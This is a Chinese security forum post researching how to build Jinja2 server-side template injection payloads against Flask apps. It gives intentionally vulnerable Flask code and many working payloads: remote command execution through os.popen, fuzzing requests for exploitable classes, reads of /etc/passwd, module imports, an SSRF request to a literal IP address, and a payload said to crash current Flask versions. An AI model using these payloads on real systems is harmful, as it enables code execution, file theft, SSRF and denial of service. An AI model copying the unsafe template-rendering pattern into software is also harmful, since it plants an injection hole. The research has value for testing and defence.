jinja2 ssti payload 构造的进一步探究

1nhann / 2022-03-29 21:24:35 / 浏览数 1795

jinja2 ssti payload 构造的进一步探究

> 本文是对 jinja2 ssti payload 的构造方法的进一步探究，力求总结相关 payload 的构造规律，探究 payload 构造细节，并扩大 jinja2 ssti 的攻击面。

官方文档：

python3 builtin functions :

https://docs.python.org/3/library/functions.html?highlight=staticmethod

在 Jinja2 template 能够直接访问的 全局变量：

https://flask.palletsprojects.com/en/2.0.x/templating/

https://jinja.palletsprojects.com/en/3.0.x/templates/

jinja2 语法：

https://jinja.palletsprojects.com/en/3.0.x/templates/#synopsis

使用模板渲染的代码

使用 `render_template_string` ：

```
from flask import Flask , request
from flask import render_template_string
app = Flask(__name__)


@app.route('/')
def hello_world():
    return 'Hello World!'

@app.route("/fuck",methods=['GET', 'POST'])
def fuck():
    id = request.args["id"]
    t = f"Hello {id} !!!"
    return render_template_string(t)

if __name__ == '__main__':
    app.run("0.0.0.0")
```

使用 `render_template` ：

`templates/fuck.html` ：

```
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
</head>
<body>
    Hello {{ id }} !!!
</body>
</html>
```

```
from flask import Flask , request
from flask import render_template
app = Flask(__name__)


@app.route('/')
def hello_world():
    return 'Hello World!'

@app.route("/fuck",methods=['GET', 'POST'])
def fuck():
    id = request.args["id"]
    return render_template("fuck.html",id=id)

if __name__ == '__main__':
    app.run("0.0.0.0")
```

使用 `Template` ：

```
from flask import Flask , request
from jinja2 import Template
app = Flask(__name__)


@app.route('/')
def hello_world():
    return 'Hello World!'

@app.route("/fuck",methods=['GET', 'POST'])
def fuck():
    id = request.args["id"]
    t = Template(f"Hello {id} !!!")
    return t.render()

if __name__ == '__main__':
    app.run("0.0.0.0")
```

> 访问不了全局对象
>
> 只可以访问全局函数和 全局 class

构造 payload

通过寻找特定 class 获得 gadget ：

以 class 为突破口，首先通过 `[].__class__.__base__.__subclasses__()` 获得所有 class

然后通过 `<class>.__init__.__globals__` 获取 `os` 模块、 `sys` 模块、模块的 `__builtins__` 属性等等，实现 RCE

常用 payload：

用 `for` 和 `if` 找到名为 `catch_warnings` 的 class 进行利用：

https://github.com/vulhub/vulhub/tree/master/flask/ssti

```
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
```

进行 fuzz，获取更多可利用 class：

进行 fuzz 一下，看看哪些类可以用 `__builtins__` （这里用 docker 而不是本地起 flask，因为本地有很多后来装的 库）：

```
docker pull jcdemo/flaskapp
```

> python 3.7.1

```
GET /fuck?id={{[].__class__.__base__.__subclasses__()[§1§].__init__.__globals__["__builtins__"]}} HTTP/1.1
```

用这个 docker，fuzz 的下标从 0 到 456（每个环境python 装的库不同，会导致相同类的下标不同）：

导出来，确定一下 class 的名字：

```
GET /fuck?id={{[].__class__.__base__.__subclasses__()[§1§]}} HTTP/1.1
```

导出来：

同样的，可以 fuzz 出来 哪些类可以用 `os` 和 `sys` ：

`os` ：

```
GET /fuck?id={{[].__class__.__base__.__subclasses__()[§1§].__init__.__globals__["os"]}} HTTP/1.1
```

```
GET /fuck?id={{[].__class__.__base__.__subclasses__()[§1§]}} HTTP/1.1
```

`sys` :

```
GET /fuck?id={{[].__class__.__base__.__subclasses__()[§1§].__init__.__globals__["sys"]}} HTTP/1.1
```

```
GET /fuck?id={{[].__class__.__base__.__subclasses__()[§1§]}} HTTP/1.1
```

通过 **Jinja2 template** 能够直接访问的 全局变量，获得 **gadget**:

> 核心的想法是通过全局变量访问到 一个 `__globals__` ，然后在这个 `__globals__` 中找 gagdet

全局对象：

https://flask.palletsprojects.com/en/2.0.x/templating/

> The following global variables are available within Jinja2 templates by default:
>
> - **config**
>
> The current configuration object (`flask.Flask.config`)Changelog
>
> - **request**
>
> The current request object (`flask.request`). This variable is unavailable if the template was rendered without an active request context.
>
> - **session**
>
> The current session object (`flask.session`). This variable is unavailable if the template was rendered without an active request context.
>
> - **g**
>
> The request-bound object for global variables (`flask.g`). This variable is unavailable if the template was rendered without an active request context.
>
> - **url_for**()
>
> The `flask.url_for()` function.
>
> - **get_flashed_messages**()
>
> The `flask.get_flashed_messages()` function.

全局函数 、全局 class ：

https://jinja.palletsprojects.com/en/3.0.x/templates/#builtin-globals

> - jinja-globals.**range**([*start*,]*stop*[, *step*])

> - jinja-globals.**lipsum**(*n=5, html=True, min=20, max=100*)
> - jinja-globals.**dict**(***items*)
> - *class* jinja-globals.**cycler**(\items*)
> - *class* jinja-globals.**joiner**(*sep=', '*)
> - *class* jinja-globals.**namespace**(...)

使用 `Template` 的时候 payload 的构造会比 使用 `render_template` 、 `render_template_string` 的时候困难：

> 访问不了全局对象，得到的 全部都是 **undefined**
>
> ```
> {{[].__class__.__base__.__subclasses__()[0](config)}}
> ```
>
> 只能访问 全局函数 和 全局 class

`Template` 的情况只有这些 payload 能用：

```
{{lipsum["__globals__"]}} # __builtins__
{{cycler.__init__["__globals__"]}} # __builtins__
{{joiner.__init__["__globals__"]}} # __builtins__
{{namespace.__init__["__globals__"]}} # __builtins__
```

> `range()` 和 `dict()` 不存在 `__globals__` 属性，只有 `functions` 才有 `__globals__` ，这两个是 `type` ：

使用 `render_template` 、 `render_template_string` 的情况，可以用的 payload ：

```
{{lipsum["__globals__"]}} # __builtins__
{{cycler.__init__["__globals__"]}} # __builtins__
{{joiner.__init__["__globals__"]}} # __builtins__
{{namespace.__init__["__globals__"]}} # __builtins__
```

```
{{config.__init__["__globals__"]}} # __builtins__ os
{{config.from_pyfile["__globals__"]}} # __builtins__ os
{{request.__init__["__globals__"]}} # __builtins__
{{request._get_file_stream["__globals__"]}} # __builtins__
{{request.close["__globals__"]}} # __builtins__
{{session.__init__["__globals__"]}} # __builtins__
{{g.get["__globals__"]}} # __builtins__ sys
{{g.pop["__globals__"]}} # __builtins__ sys
{{url_for["__globals__"]}} # __builtins__ os sys
{{get_flashed_messages["__globals__"]}} # __builtins__ os sys
```

> `g` 没有 `__init__`
>
> `request` 是 `werkzeug.wrappers.Request` 的子类，有一些方法继承自 `werkzeug.wrappers.Request` ，比如 `_get_file_stream` ，有一些方法是自己定义的，比如 `close`
>
> `session` 只有 `__init__` ，没有别的方法能调用了

通过 `Undefined` 获得 gadget：

https://jinja.palletsprojects.com/en/3.0.x/api/#jinja2.Environment

https://jinja.palletsprojects.com/en/3.0.x/api/#jinja2.Undefined

https://jinja.palletsprojects.com/en/3.0.x/api/#jinja2.Environment.undefined

```
{{fuck.__init__.__globals__}} # __builtins__ sys
{{fuck.__init__["__globals__"]}} # __builtins__ sys
```

```
<bound method Undefined.__init__ of Undefined>
```

在 `jinja2.Environment` 对象被构建的时候，会接收一个 `undefined` 参数，默认是一个 `jinja2.Undefined` 对象：

> *undefined*
>
> `Undefined` or a subclass of it that is used to represent undefined values in the template.

当在 jinja2 template 当中，访问一个 没有被定义的对象 (undefined) 的时候，就会返回一个对应的 `Undefined` 对象，而不是报错

通过 `self` 获得 gadget:

https://tedboy.github.io/jinja2/generated/generated/jinja2.runtime.TemplateReference.html

```
{{self.__init__["__globals__"]}} # __builtins__ sys
```

```
<TemplateReference None>
```

通过特定 class，达到 `dos` 、 `读文件` 、 `import package` 、 `得到 Flask app` 等效果：

fuzz 一下，尝试得到能处理一个参数的类名：

```
GET /fuck?id={{[].__class__.__base__.__subclasses__()[§1§]("/etc/passwd")}} HTTP/1.1
```

```
GET /fuck?id={{[].__class__.__base__.__subclasses__()[§1§]}} HTTP/1.1
```

> 测试的时候，发现
>
> `335 decimal.SignalDictMixin`
>
> 会直接 crash 这个应用

得到之后开始进行筛选：

可以读文件：

`LazyFile` ：

```
409 click.utils.LazyFile
```

```
from click.utils import LazyFile
LazyFile("/etc/passwd").read()
```

```
{{[].__class__.__base__.__subclasses__()[409]("/etc/passwd").read()}}
```

`_PackageBoundObject` ：

https://tedboy.github.io/flask/_modules/flask/helpers.html

```
428 flask.helpers._PackageBoundObject
```

> `open_resource` 还存在目录穿越

```
{{[].__class__.__base__.__subclasses__()[428]("fuck","bitch","/").open_resource("/etc/passwd").read()}}
```

```
{{[].__class__.__base__.__subclasses__()[428]("fuck","/").open_resource("/etc/passwd").read()}}
```

`FileLoader` ：

```
91 _frozen_importlib_external.FileLoader
```

```
{{[].__class__.__base__.__subclasses__()[91].get_data(0,"/etc/passwd")}}
```

获取当前 `Flask app` 对象：

`ScriptInfo` ：

```
430 flask.cli.ScriptInfo
```

```
{{[].__class__.__base__.__subclasses__()[430]().load_app()}}
```

获取 **app** 后，可以任意文件读

调用 `open_instance_resource`：

> 存在目录穿越

```
{{[].__class__.__base__.__subclasses__()[430]().load_app().open_instance_resource("/etc/passwd").read()}}
```

可以 **run** 很多次，消耗内存，把端口全部占满：

```
{{[].__class__.__base__.__subclasses__()[430]().load_app().run("0.0.0.0","8888")}}
```

可以加载 **package**：

`ImpImporter`：

```
288 pkgutil.ImpImporter
```

```
from pkgutil import ImpImporter
ImpImporter("/usr/lib/python3.8/").find_module("os").load_module("os")
```

```
{{[].__class__.__base__.__subclasses__()[288]("/usr/local/lib/python3.7").find_module("os").load_module("os")}}
```

`BuiltinImporter`：

```
80 _frozen_importlib.BuiltinImporter
```

```
{{[].__class__.__base__.__subclasses__()[80].load_module("os")}}
```

可以 **ssrf**：

`HTTPConnection`

```
228 http.client.HTTPConnection
```

```
import http
c = http.client.HTTPConnection('87.94.119.19:12345')
c.request("GET","/index.php")
```

```
{{[].__class__.__base__.__subclasses__()[228]("87.94.119.19:12345").request("GET","/index.php")}}
```

可以 **dos**：

`SignalDictMixin`：

```
335 decimal.SignalDictMixin
```

测试的时候，遇到了 crash，最终找到 元凶是 `decimal.SignalDictMixin`：

```
GET /fuck?id={{[].__class__.__base__.__subclasses__()[335]("fuck")}} HTTP/1.1
```

```
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'SignalDictMixin' %}
    {{c("fuck")}}
{% endif %}
{% endfor %}
```

直接在 flask 代码中调用的话，服务并不会挂掉，因为：

```
module 'decimal' has no attribute 'SignalDictMixin'
```

这个类根本就不存在于某个 py 文件，而是在 二进制文件里面：

```
root@ubuntu:/usr/lib/python3.8# grep -r SignalDictMixin
Binary file lib-dynload/_decimal.cpython-38-x86_64-linux-gnu.so matches
```

经过测试，在 flask version: 2.0.3 也能成功 crash，也就是说 **对于最新版本的 flask 适用**

在 vps 上测试成功：

不能利用 `module` 这个 **class**，加载任意 模块：

> 容易被这个 `module` 误导，这里 标记一下

```
{{[].__class__.__base__.__subclasses__()[56]("os")}}
```

可以用 `type` 来判断一个对象的 **type**，也可以判断这个对象是否是 **undefined**：

```
{{[].__class__.__base__.__subclasses__()[0](config)}}
{{[].__class__.__base__.__subclasses__()[0](request)}}
```

class_exploitable_py3.7.zip (0.006 MB) 下载附件

上一篇： 深入理解反射式dll注入技术

下一篇： 使用 CodeQL 分析 AOSP

0 条回复

动动手指，沙发就是你的了！

登录 后跟帖